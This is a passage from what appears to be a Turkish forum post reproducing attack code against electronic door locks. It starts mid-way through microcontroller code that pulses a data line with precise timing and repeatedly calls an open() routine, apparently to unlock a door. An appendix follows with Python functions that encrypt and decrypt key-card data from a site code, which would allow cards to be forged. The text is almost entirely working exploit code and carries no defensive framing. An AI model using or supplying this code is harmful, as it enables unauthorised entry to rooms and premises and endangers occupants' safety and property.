  bits[0][92] ^= 1;
  bits[0][93] ^= 1;

#ifdef CONSERVATIVE
  delay(100);
#endif
  for(int j = 0; j < 11; ++j) {
    for(int i = 0; i < sizeof(bits[j]); ++i) {
      if(bits[j][i] == 0) {
        pullLow();
        delayMicroseconds(16);
        pullHigh();
        delayMicroseconds(190);
      } else {
        pullLow();
        delayMicroseconds(16);
        pullHigh();
        delayMicroseconds(56);
        pullLow();
        delayMicroseconds(16);
        pullHigh();
        delayMicroseconds(112);
      }
    }
#ifdef CONSERVATIVE
    delayMicroseconds(2700);
#else
    delayMicroseconds(500);
#endif
  }
  return true;
}

void loop() {
    open();
}



Ek B: Kart şifreleme--

Kart şifrelemesinin Python uygulaması aşağıdadır. İşlevler ---

Kod:
encryptCard

-
ve --

Kod:
decryptCard

-
görevlerin çoğu için kullanılması gerekenler; her ikisi de hex olarak kodlanmış bir site kodu ve kart tamponu alır ve hex kodlu bir tampon döndürür.--

Kod:
def fromhex(data):
    return [int(data[i:i+2], 16) for i in range(0, len(data), 2)]

def checksum(data):
    return chr(reduce(
            lambda a, b: a^(0xFF^ord(b)), 
            data, 
            (0xFF, 0)[len(data) % 2]
        ))

def encrypt(key, buffer):
    def rotateRight(x, count):
        buffer[x] = ((buffer[x] << (8-count)) | (buffer[x] >> count)) & 0xFF
    def rotateLeft(x, count):
        buffer[x] = ((buffer[x] << count) | (buffer[x] >> (8-count))) & 0xFF
    def mixup(value, a, b):
        mask = (value ^ (value >> 4)) & 0xF

        twiddles = (
                ((0, 2, 1, 3, 0xFF), (0, 3, 2, 0, 0xFF)), 
                ((1, 4, 2, 1, 0xFF), (1, 1, 2, 2, 0x00)), 
                ((1, 2, 3, 2, 0xFF), (0, 2, 1, 3, 0x00)), 
                ((1, 2, 1, 0, 0x00), (0, 3, 2, 1, 0xFF))
            )
        mr = a, b

        for i in range(4):
            twiddle = twiddles[i][mask >> (3-i) & 1]
            rotateRight(a, twiddle[1])
            rotateLeft (b, twiddle[2])
            buffer[mr[twiddle[0]]] ^= twiddle[4] ^ buffer[mr[1-twiddle[0]]] ^ key[twiddle[3]]

    mixup(buffer[2], 0, 1)
    mixup(buffer[0], 2, 1)
    mixup(buffer[1], 0, 2)

    for j in range(len(buffer)-2):
        mask = reduce(int.__xor__, buffer[:j] + buffer[j+3:])
        mixup(mask, j+1, j+2)

    return buffer

def encryptCard(sitecode, card):
    size = 0x88 + len(card) * 4
    data = chr(size) + ''.join(map(chr, encrypt(fromhex(sitecode), fromhex(card))))
    return data + checksum(data)

def decrypt(key, buffer):
    def rotateRight(x, count):
        buffer[x] = ((buffer[x] << (8-count)) | (buffer[x] >> count)) & 0xFF
    def rotateLeft(x, count):
        buffer[x] = ((buffer[x] << count) | (buffer[x] >> (8-count))) & 0xFF
    def mixdown(value, a, b):
        mask = (value ^ (value >> 4)) & 0xF

        twiddles = (
                ((0, 2, 1, 3, 0xFF), (0, 3, 2, 0, 0xFF)), 
                ((1, 4, 2, 1, 0xFF), (1, 1, 2, 2, 0x00)), 
                ((1, 2, 3, 2, 0xFF), (0, 2, 1, 3, 0x00)), 
                ((1, 2, 1, 0, 0x00), (0, 3, 2, 1, 0xFF))
            )
        mr = a, b

        for i in range(3, -1, -1):
            twiddle = twiddles[i][mask >> (3-i) & 1]
            buffer[mr[twiddle[0]]] ^= twiddle[4] ^ buffer[mr[1-twiddle[0]]] ^ key[twiddle[3]]
            rotateLeft (a, twiddle[1])
            rotateRight(b, twiddle[2])

    for j in range(len(buffer)-3, -1, -1):
        mask = reduce(int.__xor__, buffer[:j] + buffer[j+3:])
        mixdown(mask, j+1, j+2)

    mixdown(buffer[1], 0, 2)
    mixdown(buffer[0], 2, 1)
    mixdown(buffer[2], 0, 1)

    return buffer

def decryptCard(sitecode, card):
    card = fromhex(card)
    data = card[1:-1]
    return ''.join('%02X' % x for x in decrypt(fromhex(sitecode), data))
 
Geri
Üst